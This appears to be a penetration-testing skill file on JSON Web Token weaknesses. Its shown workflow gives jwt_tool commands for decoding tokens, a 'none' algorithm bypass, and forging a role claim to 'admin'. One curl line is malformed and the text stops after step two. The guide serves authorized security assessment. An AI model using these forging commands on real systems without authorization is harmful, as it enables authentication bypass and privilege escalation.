| name | testing-for-json-web-token-vulnerabilities |
| description | Tests JWT implementations for algorithm confusion, "none" algorithm bypass, kid/jku parameter injection, and weak secret exploitation using jwt_tool and Burp Suite's JWT Editor extension, aiming to achieve authentication bypass and privilege escalation. Use when assessing JWT-based auth/session management, OAuth2/OIDC token handling, or SSO systems during a security engagement. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["jwt","json-web-token","algorithm-confusion","authentication-bypass","token-forgery","kid-injection","jku-attack"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | ["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"] |
| mitre_attack | ["T1190","T1059.007","T1505.003","T1083","T1068"] |
Testing for JSON Web Token Vulnerabilities
When to Use
- When testing applications using JWT for authentication and session management
- During API security assessments where JWTs are used for authorization
- When evaluating OAuth 2.0 or OpenID Connect implementations using JWT
- During penetration testing of single sign-on (SSO) systems
- When auditing JWT library configurations for known vulnerabilities
Prerequisites
- jwt_tool (Python JWT exploitation toolkit)
- Burp Suite with JWT Editor extension
- jwt.io for decoding and inspecting JWT structure
- Understanding of JWT structure (header.payload.signature) and algorithms (HS256, RS256)
- hashcat or john for brute-forcing weak JWT secrets
- Python PyJWT library for custom JWT forging scripts
- Access to application using JWT-based authentication
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1 — Decode and Analyze JWT Structure
pip install pyjwt
git clone https://github.com/ticarpi/jwt_tool.git
python3 jwt_tool.py <JWT_TOKEN>
echo "<header_base64>" | base64 -d
echo "<payload_base64>" | base64 -d
Step 2 — Test "None" Algorithm Bypass
python3 jwt_tool.py <JWT_TOKEN> -X a
curl -H http://target.com/api/admin
python3 jwt_tool.py <JWT_TOKEN> -X a -I -pc role -pv admin